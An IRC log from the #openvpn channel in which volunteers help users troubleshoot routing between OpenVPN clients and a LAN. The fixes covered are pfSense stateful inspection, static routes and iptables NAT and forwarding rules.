17:20 < Poster> your rules are fairly lax, I was just suggesting performing a MASQUERADE on your OpenVPN traffic
17:20 < Poster> to prove or disprove IP based ACLs
17:21 < altker128> Poster: OK.  The MASQ rule you just provided -- I assume that's in addition to what's there , no need to flush?
17:21 <@krzee> why are you using the nathack?
17:21 <@krzee> no access to the router of the lan being shared?
17:21 < Poster> pings to host behind OpenVPN server are working
17:21 < Poster> web interface is not
17:22 < altker128> hrm...
17:22 <@krzee> thats firewall on the server running web interface
17:22 <@krzee> once ping works, openvpn works
17:22 < Poster> apparently no ip filtering on openfiler
17:22 < altker128> krzee: No, it's not.
17:22 <@krzee> then its some other firewall
17:22 < Poster> so we're left with tcp wrappers or something
17:22 < altker128> krzee: I have four different web hosts none of which have firewalling turned on.
17:22 < Poster> the MASQUERADE suggestion was to test the theory
17:22 < altker128> Poster: One sec, let me add
17:23 <@krzee> well if ping works but some service doesnt (but is listening), then its a firewall
17:23 < Poster> yep
17:23 <@krzee> not like ping has a different routing table than the web browser
17:23 < Poster> yep x2
17:24 < altker128> I agree.  But as I said, none of the web hosts have firewalling turned on.  That only leaves the openvpn machine and the router.
17:24 < Poster> there's more filtering available than iptables/pf
17:24 < Poster> you've got hosts.allow/hosts.deny, IP based acls within services, etc
17:24 <@krzee> yep ^
17:24 < altker128> Poster: The web hosts are straight up Debian 7 minimal with nothing else going on
17:24 <@krzee> plus, why are you discounting the router / openvpn machine?
17:24 <@krzee> you say it only leaves them as if you're done? if it leaves them then rule them out!
17:24 < altker128> [3:24 pm] <altker128> I agree.  But as I said, none of the web hosts have firewalling turned on.  That only leaves the openvpn machine and the router.
17:25 < altker128> ok
17:25 < altker128> Poster: With the masquerade rule things work
17:25 < Poster> altker128: I understand that, but you're here because something doesn't work and you don't know what it is, if you want to arrive at resolution I would recommend listening to those who are trying to help you
17:25 < Poster> ok so there is some IP based restriction on your openfiler
17:26 < altker128> Poster: Sorry, I wasn't trying to be defiant.
17:26 < altker128> Poster: Just saying I agree with both of you :)
17:26 < altker128> I think this is the router.
17:26 < altker128> router is pfsense machine
17:26 < altker128> ok
17:27 < altker128> So this didn't register in my mind until just now -- I could NOT ping the router (192.168.0.1) before the MASQUERADE rule, and with that rule now I can (that is the openvpn client)
17:27 <@krzee> can the local vpn node reach the webserver?>
17:27 < altker128> krzee: Yes
17:27 < Poster> http://greg.porter.name/wiki/HowTo:Openfiler#Configure_network_access_control
17:27 <@krzee> then its not the router
17:27 <@vpnHelper> Title: HowTo:Openfiler - Greg Porter's Wiki (at greg.porter.name)
17:27 <@krzee> cause the NAT makes the packets look like they come from the local vpn machine
17:28 < altker128> krzee: Exactly
17:28 <@krzee> so if that machine can access the web stuff, then its not the router
17:28 <@krzee> show me iptables-save from the following machines:   openvpn server, openvpn client, web server
17:28 < Poster> if the OpenVPN host is not the network's default gateway, you will need to create a route to 10.8.0.0/24 via the LAN IP address of the OpenVPN server
17:28 < Poster> though if pings are working, that must already be in place
17:28 <@krzee> Poster, thats true when NOT using the nathack which you told him to use
17:29 < altker128> Poster: Ok, so without the MASQ rule I openvpn client could NOT ping the router
17:29 < Poster> yep- but pings were working prior to nathack
17:29 <@krzee> the nathack is for when you dont have access to that gateway
17:29 < altker128> Poster: But openvpn client could ping everything else
17:29 <@krzee> umm what?
17:29 <@krzee> no
17:30 < Poster> something else is going on there, if there was no return route to 10.8.0.0/24 via the OpenVPN server, the ping replies would never make it
17:30 < altker128> Let me try to be a bit more clear:  before the nathack, the openvpn client could ping any machine on LAN *except* router (192.168.0.1).  OpenVPN client could not access internal web sites ; with the NAT hack, he can see all of my webservers now.
17:31 < Poster> did you add network routes on openfiler, etc?
17:31 < altker128> Poster: I didn't do anything on openfiler, wiki or Horde.  OpenVPN client can see all of them now (i.e. access their webservices)
17:32 < Poster> and it sounds like you did not add a route to 10.8.0.0/24 via 192.168.0.x (LAN IP of OpenVPN Server) on the router (192.168.0.1)?
17:32 <@krzee> altker128, had you added a route on your gateway?
17:33 < altker128> Poster: On the router I actually did add an entry for 10.8.0.0/24 to 192.168.0.104 (IP of OpenVPN)
17:33 <@krzee> also show me netstat -rn on the gateway and iptables-save on there too
17:33 < altker128> krzee: OK, one second
17:33 <@krzee> in addition to the 3 things i asked for above
17:33 < Poster> ok, is your router performing stateful packet inspection?
17:33 <@krzee> why isnt your router running openvpn
17:34 < Poster> I'm guessing your router is performing SPI/Connection tracking for TCP and probably UDP, but not ICMP
17:34 < altker128> krzee: I wanted to build openvpn + openssl from source to have all the latest bug and security fixes.  My router/firewall is pfSense and they typically lag behind this stuff
17:34 < altker128> Poster: That probably sounds right.
17:34 < altker128> Poster: Pings show up with "redirected to 192.168.0.104"
17:34 <@krzee> hard to argue with that
17:35 < altker128> krzee: As in, you agree with me about security , or poster about the SPI?
17:35 < Poster> yeah you're going to need to make some rule changes on pfsense to permit the out of state traffic
17:36 < Poster> when you went to access openfiler on port 80, the syn was arriving via OpenVPN Server, hitting openfiler, openfiler would reply via 192.168.0.1 (syn,ack), but the pfsense host never saw the original syn, meaning it would believe the connection was out of state
17:36 < Poster> and rightfully so dropping it
17:36 <@krzee> i cant argue with wanting the newer version of ovpn, there is a lot of development and those embedded os's do lag behind (like you said)
17:36 < altker128> That matches with what I saw on the tcpdump
17:36 < altker128> krzee: Still trying to get you the info
17:36 < Poster> do you have an open interface on your pfsense host?
17:37 < altker128> Poster: Forgive the stupidity, but by open do you mean port-forwwarding?
17:37 < altker128> or free Ethernt?
17:37 < Poster> open interface meaning ethernet adapter
17:37 < altker128> No, I don't.  I could add a USB/LAN
17:37 < Poster> or it could be a separate VLAN if you've got managed networks
17:37 < altker128> Ah
17:38 <@krzee> not if it allowed the ping
17:38 < altker128> All of this would be easier if I used OpenVPN on the router...but I feel very uncomfortable doing that.
17:38 < Poster> your two options are to either craft rules within pfsense to not try and attempt to perform connection tracking/SPI for OpenVPN bound connections
17:38 <@krzee> altker128, you know of some security issue you're actually fixing with the newer version?
17:38 <@krzee> theres an issue in older ovpn with hmac stuff, but its far from criticalk
17:38 < altker128> krzee: There seem to be vulnerabilities in openssl that pop up...I just figure newer is better
17:38 < Poster> or you can logically connect the OpenVPN server to a leg off of pfsense, forcing all traffic via pfsense, keeping traffic in the state table
17:39 < altker128> krzee: Do you still want the netstat command?
17:39 <@krzee> altker128, you certainly DO NOT want to generate certs on an embedded device, but they should be fine for running openvpn
17:39 <@krzee> altker128, yes, everything i asked for
17:39 <@krzee> (4 machines iptables-save, 1 machine's routing table)
17:39 < Poster> trace from openvpn client to LAN resource would be: OpenVPN Client -> OpenVPN Server -> pfSense -> LAN Server
17:40 < altker128> krzee: PFSense is running pF so I can't get you iptables :/
17:40 < Poster> pfctl -sa
17:40 < Poster> should help
17:40 < altker128> krzee: Will get something similarly equivalent
17:40 <@krzee> well fine, show me the firewall :-p
17:40 <@krzee> yes, -sa (show all)
17:41 <@krzee> and you should =] when you say that, pf is ++
17:41 <@krzee> :D
17:41 < altker128> http://pastebin.com/s95EuQGu
17:41 < altker128> Yeah
17:41 < altker128> pf >> iptables
17:41 < altker128> that's netstat
17:41 <@krzee> meh, both are very cool? comes down to whichever you know better is better
17:42 <@krzee> i like pf a lot, but some rather ninja stuff can be done in iptables
17:42 <@krzee> altker128,
17:42 <@krzee> netstat -rn
17:42 <@krzee> my bad, didnt realize you'd have entries in hosts
17:44 < altker128> http://pastebin.com/UHi3J47e
17:44 < altker128> obviously I did myip.myip ...
17:44 <@krzee> thats fine, not what im looking at
17:44 <@krzee> ok cool, now show me all 4 firewalls
17:44 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 264 seconds]
17:45 < altker128> krzee: By all four , do you mean the pf rule , or?
17:45 <@krzee> pfctl -sa on router and any bsd, iptables-save on linux
17:45 <@krzee> on the router, openvpn client, openvpn server, webserver
17:45 < altker128> krzee: Webservers have no iptable rules
17:45 < altker128> krzee: One sec, let me get the other three
17:45 <@krzee> i dont care, show me the output
17:46 < altker128> ok
17:46 <@krzee> you wouldnt believe how many people say that, meanwhile its the problem
17:46 <@krzee> which is part of why the topic says "Your problem is probably firewall, Really"
17:46 < altker128> krzee: I understand your need to see the proof :)
17:48 < altker128> I think I see part of the problem in the pfctl
17:48 < altker128> let me paste
17:50 < altker128> FYI, I ran the OpenVPN wizard and stuck that service on 1195 for debugging, but that is NOT in use and the behavior was same before/after
17:50 < altker128> http://pastebin.com/rYQSJ071
17:52 < altker128> http://pastebin.com/rYQSJ071  | Router pfctl -sa
17:52 < altker128> http://pastebin.com/isZj4kmD | OpenFiler machine
17:53 < altker128> http://pastebin.com/N3BrXLVP | Wiki iptables-save
17:54 < altker128> http://pastebin.com/6ERZW2Nd | OpenVPN server machine iptables-save , with NAT hack
17:55 < altker128> Poster: Dumb question, what is the drawback of using the MASQ rule you provided?
18:01 < altker128> hrm...did I wear out my welcome?
18:02 < Poster> some things may not work
18:02 < Poster> and the LAN machines will not be able to distinguish one OpenVPN client from another
18:02 -!- backjlack [~quassel@unaffiliated/backjlack] has quit [Remote host closed the connection]
18:03 < altker128> Poster: You mean to say, for example, LAN machines won't be able to individually ping each openvpn client?
18:04 -!- backjlack [~quassel@unaffiliated/backjlack] has joined #openvpn
18:10 < altker128> Poster: Do you have a suggestion for the type of rule to add so pfsense will not do SPI on the 10.8.x.x stuff?
18:19 < Poster> unfortunately I am not very familiar with pfsense
18:19 < altker128> Poster: If you were doing it in straight-up pf or iptables , what would you do on the router?
18:19 < Poster> and yes the LAN systems would never see the OpenVPN client addresses, only the address of the OpenVPN server on the LAN
18:20 < altker128> Poster: If the router has the rule for 10.8.0.0 --> OpenVPN LAN , then would it not just send any traffic destined for the network to the ovpn machine to deal with?
18:21 < Poster> I would probably either run OpenVPN on the pfsense host or create a small network between the OpenVPN server and the pfsense host
18:22 < Poster> the route is ok, the problem is that each host on the LAN is going to 192.168.0.1 for the return traffic to OpenVPN clients
18:22 < Poster> by not being inline for the syn, the following syn,ack is not in the state table and thus being blocked
18:23 < altker128> And I assume the NAT hack makes all traffic appear from the ovpn LAN IP, so this issue does not exist?
18:23 < Poster> yep
18:24 < altker128> ok
18:24 < altker128> So...I put the NATHACK back in there , and I can SSH from LAN to 10.8.x.x (the route rule working in the router)
18:24 < altker128> And the openvpn client can access the desired LAN machines
18:24 < altker128> I think this is very hack-like
18:25 < altker128> But...if I'm going to see any weirdness, what else might it be?
18:25 < Poster> really anything NAT may break
18:25 < Poster> distinguishing one OpenVPN client from another
18:25 < altker128> OK, like VOIP and what not
18:25 < Poster> might be, I think it may depend on the implementation
18:26 < altker128> Poster: You mentioned you'd suggest creating a small network between openvpn server and pfsense host...do you mean on a dedicated LAN I/F on the pfsense machine?
18:26 < Poster> ideally yes
18:26 < altker128> And then disable SPI for that connection?
18:26 < Poster> if that is not available, a logical network such as a VLAN could work
18:26 < Poster> no, if the pfsense host is inline, all of the connection can work as intended
18:27 < altker128> hrm...another sick hack
18:27 < Poster> I would call putting the pfsense inline less of a hack
18:27 < altker128> Could I have tun0 forward to br0 where it's bridged with eth0 ?
18:27 < altker128> Poster: No, I meant what I just suggested
18:28 < Poster> it's allowing the firewall to audit traffic that passes between interfaces
18:28 < Poster> which is typically desirable
18:28 < altker128> Poster: Could I have tun0 forward to br0 where it's bridged with eth0 ? <-- kind of sick hack
18:28 < Poster> you'd have to make it a tap adapter to create a bridge, but I wouldn't go down that path unless you absolutely are forced to
18:28 < Poster> routed is typically best
18:29 < altker128> The only real difference I see is performance overhead of having to send raw ethernet and deal with broadcast traffic
18:29 -!- qwertyoruiop is now known as FBIAgent1481
18:29 < Poster> yep
18:29 -!- FBIAgent1481 is now known as qwertyoruiop
18:30 < altker128> I like bridging.
18:30 < altker128> Maybe that's because I'm a hardware guy :)
18:30 < Poster> as long as you're aware and accept the drawbacks, go ahead
18:31 < altker128> The bigger issue is the openvpn clients for android are almost all tun , it looks like I'd have to some hacking to get tap going
18:31 < altker128> I'm already pretty far down the rabitt hole.
18:31 < altker128> rabbit even
18:31 < Poster> I'd probably just use the tun adapter and treat them as routed
18:32 < Poster> OpenVPN on pfsense is probably ok, unless you need some newer feature that is not available in the pfsense package
18:33 < altker128> Poster: It's probably OK , but there are always these vulnerabilities that pop up and those guys are going to be slow in fixing them.  Since I built from source, I can deal with that issues on demand.
18:34 < altker128> Poster: Out of curiousity, in that bridgeing and routing guidline, that's assuming the router is NOT doing SPI?
18:35 -!- daniel_- [~daniel_-@unaffiliated/daniel--/x-1801510] has quit [Ping timeout: 276 seconds]
18:35 < Poster> if you're going bridged, there's no special routing needed for OpenVPN clients, they're native on the LAN
18:38 < altker128> yeah
18:38 < altker128> Bridged really does what I want , with the added overhead
18:39 <@krzee> !whybridge
18:39 <@vpnHelper> "whybridge" is (#1) you only bridge if you want layer2 to the lan. if you want layer2 only between vpn nodes then routed tap is enough. if you only want layer3 use tun. or (#2) See this URL for a more in-depth discussion on bridging vs routing: https://community.openvpn.net/openvpn/wiki/BridgingAndRouting or (#3) See also !tunortap
18:42 < altker128> Having each openvpn client appear as a full partner on the LAN is fine by me since the number of clients is <=5 and the traffic is low.  But I know that's a personal choice
18:42 < altker128> krzee: Do you have any other suggestions regarding firewall rules for pfsense to make routing work without the NAThack?
18:44 <@krzee> sorry i didnt see the post with what i had asked for, can you re-post the link?
18:44 < altker128> krzee: Yes, there are four of them
18:45 < altker128> [3:52 pm] <altker128> http://pastebin.com/rYQSJ071  | Router pfctl -sa
18:45 < altker128> [3:52 pm] <altker128> http://pastebin.com/isZj4kmD | OpenFiler machine
18:45 < altker128> [3:53 pm] <altker128> http://pastebin.com/N3BrXLVP | Wiki iptables-save
18:45 < altker128> [3:54 pm] <altker128> http://pastebin.com/6ERZW2Nd | OpenVPN server machine iptables-save , with NAT hack
18:45 < Poster> altker128: you may want to ask in #pfsense about crafting a rule to not perform connection tracking
18:46 < altker128> Poster: Agreed and tried...no response
18:47 < Poster> I'd suggest a small net between OpenVPN server and pfsense host
18:47 < Poster> unless you really want to bridge
18:49 < Poster> your question in #pfsense should probably be more specific, as in how to add a rule without connection tracking
18:50 <@krzee> hmm i forget how to tell it to not resolve ports
18:50 <@krzee> im about to get out of work, when that happens ill disappear
18:51 < altker128> ruh-uh
18:51 < altker128> ruh-oh.
18:52 <@krzee> i would save the firewall ruleset and then trim it down to bare essentials and test again
18:52 < altker128> Poster: Basically I need to disable SPI between 192.168.0./24 and 10.8.0.0/24 , right?
18:52 <@krzee> then once getting it working add stuff back until you break it again
18:52 < altker128> krzee: Yeah...
18:52 <@krzee> block drop in log quick on fxp1 inet from 10.0.0.0/8 to any label "block private networks from wan block 10/8"
18:52 <@krzee> we might have a winner...
18:53 < altker128> krzee: fxp1 should be WAN...why would that matter?
18:53 <@krzee> oh right
18:54 < altker128> I did see something about the ports < 1024 being filtered
18:54 < altker128> one sec
18:54 <@krzee> pass in quick on fxp0 inet from <vpn_subnet> to any
18:54 <@krzee> pass in quick on fxp0 inet from any to <vpn_subnet>
18:55 <@krzee> ild toss those nice and high
18:55 < altker128> you'd drop those rules?
18:55 <@krzee> to short-circuit anything after that might mess with it
18:55 <@krzee> i would add those rules nice and high in the ruleset
18:56 <@krzee> like before the block rules
18:57 <@krzee> then on openvpn server, remove the NAT rule
18:57 <@krzee> also add a rule to short circuit your iptables rules on forward chain
18:57 <@krzee> !linipforward
18:57 <@vpnHelper> "linipforward" is (#1) echo 1 > /proc/sys/net/ipv4/ip_forward for a temp solution (til reboot) or set net.ipv4.ip_forward = 1 in sysctl.conf for perm solution or (#2) chmod +x /etc/rc.d/rc.ip_forward for perm solution in slackware or (#3) you also must allow forwarding in your forward chain in iptables. iptables -I FORWARD -i tun+ -j ACCEPT
18:57 <@krzee> iptables -I FORWARD -i tun+ -j ACCEPT
18:57 <@krzee> that ^
18:57 <@krzee> the -I makes it move to the front of the line
18:57 < altker128> krzee: That on the openvpn machine?
18:58 <@krzee> on the openvpn server, and you need to remove the NAT rule
18:58 <@krzee> and on pfsense you need to add those 2 rules to the top of the filter rules, before the blocks
18:58 < Poster> iptables -t nat -D POSTROUTING -s 10.8.0.0/24 -d 192.168.0.0/24 -j MASQUERADE
18:59 <@krzee> remove that ^
18:59 < Poster> that is the remove, but yeah :o
18:59 <@krzee> oh nice
18:59 <@krzee> never knew -D
18:59 < Poster> text history ftw
19:03 -!- speed_racer84 [~speed_rac@173.45.222.229] has joined #openvpn
19:06 <@krzee> bbl =]
19:07 <@krzee> ill jump back on later and see if it worked
19:07 < altker128> krzee: Thanks so much
19:13 < altker128> krzee: , Poster : Thanks so much :)
19:13 -!- cjs226 [~cjs226@99-61-64-43.lightspeed.austtx.sbcglobal.net] has quit [Ping timeout: 246 seconds]
19:16 -!- cjs226 [~cjs226@99-61-64-43.lightspeed.austtx.sbcglobal.net] has joined #openvpn
19:21 < altker128> krzee: I didn't see this option before ...
19:22 < altker128>  Bypass firewall rules for traffic on the same interface
19:22 < altker128> This option only applies if you have defined one or more static routes. If it is enabled, traffic that enters and leaves through the same interface will not be checked by the firewall. This may be desirable in some situations where multiple subnets are connected to the same interface
19:31 < altker128> krzee: Solved!
19:31 < altker128> Poster: Solved!
19:31  * altker128 can't believe he missed that option
19:38 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Quit: gone]
19:49 < altker128> So this is really an openvpn related question:  Is there a way to have a different server.conf depending on the client?  For some I'd to push "route all traffic through VPN" and for others I would not.  The only other way I can see making this work is to have multiple IPs/multiple OpenVPN configs
20:10 -!- emmanuelux [~emmanuelu@192.123.25.109.rev.sfr.net] has quit [Remote host closed the connection]
20:22 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has joined #openvpn
20:23 < dimm0k> ok so i finally set up openvpn on linux, am able to connect to it and ping the server to client and vice versa via tun
20:24 < dimm0k> what am i missing so that computers on the server lan can see the connected client?
20:27 -!- speed_racer81 [~speed_rac@173.45.222.229] has joined #openvpn
20:30 -!- speed_racer84 [~speed_rac@173.45.222.229] has quit [Ping timeout: 246 seconds]
20:32 < altker128> dimm0k: Hhehe
20:33 < altker128> dimm0k: I spent the past day + dealing with that
20:33 < altker128> dimm0k: Is your setup like the one listed at the very bottom? : https://community.openvpn.net/openvpn/wiki/BridgingAndRouting
20:33 <@vpnHelper> Title: BridgingAndRouting – OpenVPN Community (at community.openvpn.net)
20:37 < dimm0k> altker128: you mean in the section titled "Using routing and OpenVPN not running on the default gateway"?
20:37 < altker128> dimm0k: Yes
20:38 < dimm0k> altker128: looks like it is what i have, yes
20:38 < altker128> dimm0k: You need those iptables rules on the openvpn server
20:39 < altker128> dimm0k: And two additional pieces:  1.  Add a static route on your router to map openvpn address range (i.e. 10.8.0.0/255) to the single LAN IP of the OpenVPN server  2.  This is very important:  Disable packet inspection on that static route.  I use pfsense and can tell you the option
20:42 < dimm0k> hrmm...  do those two iptables replace the ones mentioned originally or are they additions?
20:43 < dimm0k> because right now i have "iptables -A FORWARD -i eth0 -o tun0 -m state --state ESTABLISHED,RELATED -j ACCEPT
20:44 < altker128> dimm0k: They "replace", I *only* need those two
20:44 < dimm0k> hrmm
20:44 < altker128> dimm0k: I think your rule looks right, but I used those two
20:44 < altker128> dimm0k: But you must have the static route defined on your router, otherwise LAN<-->openvpn will be broken
20:45 < dimm0k> hrmm, i see...  let me see if it's possible to do on my router
20:46 < altker128> dimm0k: keep in mind disabling SPI on the staic route is really important
20:46 < altker128> you can tell that it's working if your openvpn clients can ping your router IP
20:47 < dimm0k> altker128: actually i can do that already...
20:48 < dimm0k> i just can't ping the openvpn client on any of the computers on the openvpn server's lan
20:50 < altker128> dimm0k: Yes, you need to add the static route.
20:50 < altker128> Because they don't know how to get to the openvpn client
20:50 < altker128> you can be "dirty" and map it into the IP space of the router
20:50 < altker128> but I don't know what nuances are there with that approach
20:52 < dimm0k> altker128: in the link you mentioned, it says "If this is not possible, you need add such routes explicitly on all the LAN clients you want to access via the VPN."
20:52 < dimm0k> any idea how to set that?
20:53 < altker128> dimm0k: What is your router?
20:53 < altker128> dimm0k: It should be possible on most routers
20:54 < dimm0k> Actiontec MI424WR FiOS Router
20:55 < altker128> Lucky you!
20:55 < altker128> FIOS!
20:55 < dimm0k> lol
20:55 < altker128> Ok, I'm 99% certain that router does have an option for adding a static route
20:58 < dimm0k> hrmm, looks like it does...  it's asking for destination, netmask and gateway...
21:01 < altker128> gateway: LAN IP address of OpenVPN server
21:02 < altker128> destination: 10.8.0.0 netmask 255.255.255.0 if you're using the default openvpn IP suggestions
21:02 < altker128> interpret this as follows:  if the destination IP from a LAN client on the network is to anything in the IP range of 10.8.0.0 to 10.8.0.254 , send it to the openvpn machine (where the openvpn server assumed 10.8.0.1)
21:03 < dimm0k> hrmm, that helps put it into perspective
21:05 < dimm0k> so would a ping response like this be a sign that it's working?
21:05 < altker128> Should be :)
21:05 < dimm0k> From 192.168.1.1: icmp_seq=1 Redirect Host(New nexthop: 192.168.1.246)
21:05 < altker128> Yes
21:06 < altker128> exactly
21:06 < dimm0k> sweet
21:06 < altker128> see that it got redirected to 1.246
21:06 < altker128> one thing
21:06 < altker128> In my case Stateful-Packet-Inspection was going on in the static rout
21:06 < altker128> route
21:06 < altker128> that fubared a lot of stuff even though ping worked
21:06 < altker128> you should poke around to see if such an option exists for you.
21:08 < dimm0k> hrmm
21:09 < altker128> What is your expected use case?
21:09 < altker128> for openvpn
21:10 < dimm0k> well i basically have a pc at my parents place i want to be able to use rbackup without opening up ssh to
21:10 < altker128> ah
21:10 < altker128> rsync?
21:11 < dimm0k> that's one...  other is just to prevent snooping on the rare occasions i access the internet at coffee shops
21:11 < dimm0k> yep, rsync
21:12 < altker128> yeah
21:12 < altker128> why not use SSH though?
21:12 < altker128> in this case they're fairly equivalent
21:13 < dimm0k> dunno, guess i didnt want ssh accessible on that machine externally
21:16 < altker128> if I'm using the client-config option , will I see something in the server log indicating that file was hit?
21:23 -!- michaelhart [~michaelha@192-0-240-94.cpe.teksavvy.com] has quit [Quit: michaelhart]
21:25 -!- nutron [~nutron@unaffiliated/nutron] has quit [Quit: I must go eat my cheese!]
21:28 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
21:29 -!- kubbing_ [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
21:45 -!- mchou [~quassel@unaffiliated/mchou] has quit [Read error: Connection reset by peer]
22:01 -!- Dropje [~yge@ip4da6274e.direct-adsl.nl] has quit [Read error: Connection reset by peer]
22:02 -!- Dropje [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
22:04 < altker128> Is anyone here using the push "redirect-gateway def1 bypass-dhcp" option on their openvpn clients?
22:04 -!- patterson [~patterson@c-67-188-24-218.hsd1.ca.comcast.net] has joined #openvpn
22:10 < altker128> krzee: Let me know if you're around, I have a quick question for you.
23:11 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Quit: WeeChat 0.4.1]
23:19 -!- patterson [~patterson@c-67-188-24-218.hsd1.ca.comcast.net] has quit []
23:22 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has quit [Ping timeout: 246 seconds]
23:24 -!- Devastator [~devas@unaffiliated/devastator] has quit [Read error: Connection reset by peer]
23:26 -!- Devastator [~devas@186.214.15.156] has joined #openvpn
23:30 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has joined #openvpn
23:49 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
--- Day changed Mon Jun 24 2013
00:00 -!- MeanderingCode [~Meanderin@cedarpark.aetherislands.net] has quit [Ping timeout: 240 seconds]
00:01 -!- MeanderingCode [~Meanderin@cedarpark.aetherislands.net] has joined #openvpn
00:04 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn
00:21 <@krzee> too drunk, ask now and ill read in morning
00:21 <@krzee> or someone else will reply
00:29 < altker128> krzee: No worries, I got it figured out
00:29 < altker128> krzee: It's all working, thanks again for your help.
00:29 -!- _mnathani_ [~mnathani@198-84-231-11.cpe.teksavvy.com] has joined #openvpn
00:29 < altker128> krzee: That includes openvpn to LAN, openvpn to Internet using routing, non-NAT'd
00:47 -!- lamba [~lamba@unaffiliated/lamba] has joined #openvpn
00:48 < lamba> is it possible to say "your fqdn must match the certificate cn, unless the certificate is X" ?
00:49 < lamba> for the purposes of having a shared certificate which is used to connect to openvpn,  overwhich a host specific one is then passed. - in this way if a machine is compromised i can revoke the shared bootstrap cert and the specific host one.
00:52 -!- monk [~aknm@unaffiliated/aknm] has joined #openvpn
01:00 -!- speed_racer81 [~speed_rac@173.45.222.229] has quit [Ping timeout: 264 seconds]
01:17 -!- monk [~aknm@unaffiliated/aknm] has quit [Remote host closed the connection]
01:30 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Quit: WeeChat 0.4.1]
01:34 < lamba> arg, gotta run, afk 12 hours.
01:35 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
01:47 -!- speed_racer81 [~speed_rac@h15.164.30.71.dynamic.ip.windstream.net] has joined #openvpn
01:51 -!- monk [~aknm@unaffiliated/aknm] has joined #openvpn
01:54 -!- speed_racer81 [~speed_rac@h15.164.30.71.dynamic.ip.windstream.net] has quit [Read error: Connection reset by peer]
01:55 -!- speed_racer84 [~speed_rac@c-76-30-144-32.hsd1.tx.comcast.net] has joined #openvpn
01:56 -!- speed_racer81 [~speed_rac@h15.164.30.71.dynamic.ip.windstream.net] has joined #openvpn
02:00 -!- vraa__ [~speed_rac@h15.164.30.71.dynamic.ip.windstream.net] has joined #openvpn
02:00 -!- speed_racer84 [~speed_rac@c-76-30-144-32.hsd1.tx.comcast.net] has quit [Ping timeout: 276 seconds]
02:03 -!- speed_racer81 [~speed_rac@h15.164.30.71.dynamic.ip.windstream.net] has quit [Ping timeout: 276 seconds]
02:03 -!- speed_racer84 [~speed_rac@h15.164.30.71.dynamic.ip.windstream.net] has joined #openvpn
02:06 -!- pa [~pa@unaffiliated/pa] has quit [Read error: Operation timed out]
02:06 -!- vraa__ [~speed_rac@h15.164.30.71.dynamic.ip.windstream.net] has quit [Ping timeout: 276 seconds]
02:08 -!- speed_racer81 [~speed_rac@h15.164.30.71.dynamic.ip.windstream.net] has joined #openvpn
02:12 -!- speed_racer84 [~speed_rac@h15.164.30.71.dynamic.ip.windstream.net] has quit [Ping timeout: 276 seconds]
02:13 -!- speed_racer81 [~speed_rac@h15.164.30.71.dynamic.ip.windstream.net] has quit [Ping timeout: 276 seconds]
02:25 -!- pa [~pa@unaffiliated/pa] has joined #openvpn
02:28 -!- b00gz__ [uid6869@gateway/web/irccloud.com/x-kkzgxculemdyxpfl] has joined #openvpn
02:33 -!- p3rror [~p3rror@41.249.253.52] has joined #openvpn
02:35 -!- Mimiko [~Mimiko@host-static-92-114-198-57.moldtelecom.md] has joined #openvpn
03:21 -!- mikkel_ [~mikkel@80-198-36-38-static.dk.customer.tdc.net] has joined #openvpn
03:29 -!- Mcloven [~Mcloven@ppp203-122-218-215.static.internode.on.net] has joined #openvpn
03:31 <@plaisthos> altker128: for tap on android you have to use a rooted or emulate tap device
03:51 -!- ade_b [~Ade@94.125.18.11] has joined #openvpn
03:51 -!- ade_b [~Ade@94.125.18.11] has quit [Changing host]
03:51 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
04:06 -!- daniel_- [~daniel_-@unaffiliated/daniel--/x-1801510] has joined #openvpn
04:26 -!- daniel_- [~daniel_-@unaffiliated/daniel--/x-1801510] has quit [Ping timeout: 246 seconds]
04:29 < altker128> plaisthos: Ah, thank you.
04:31 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
04:39 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
04:43 -!- fischli [~fischli@data.fischer-ing.de] has joined #openvpn
04:46 -!- jzaw [~jzaw@loki.dzki.co.uk] has quit [Ping timeout: 255 seconds]
04:48 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 264 seconds]
04:57 -!- dazo_afk is now known as dazo
05:04 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
05:06 -!- jzaw [~jzaw@loki.dzki.co.uk] has joined #openvpn
05:08 < jzaw> !ping
05:08 <@vpnHelper> pong
05:14 -!- pa [~pa@unaffiliated/pa] has quit [Ping timeout: 276 seconds]
05:27 -!- pa [~pa@unaffiliated/pa] has joined #openvpn
05:33 -!- Denial [Denial@90.205.133.229] has joined #openvpn
05:46 -!- p3rror [~p3rror@41.249.253.52] has quit [Read error: Connection reset by peer]
05:47 -!- p3rror [~p3rror@41.249.253.52] has joined #openvpn
05:51 -!- kubbing [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has joined #openvpn
05:59 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 245 seconds]
06:16 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn
06:16 -!- mode/#openvpn [+o plaisthos] by ChanServ
06:21 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
06:25 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
06:25 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
06:31 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Remote host closed the connection]
06:38 -!- daniel_- [~daniel_-@unaffiliated/daniel--/x-1801510] has joined #openvpn
06:48 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn
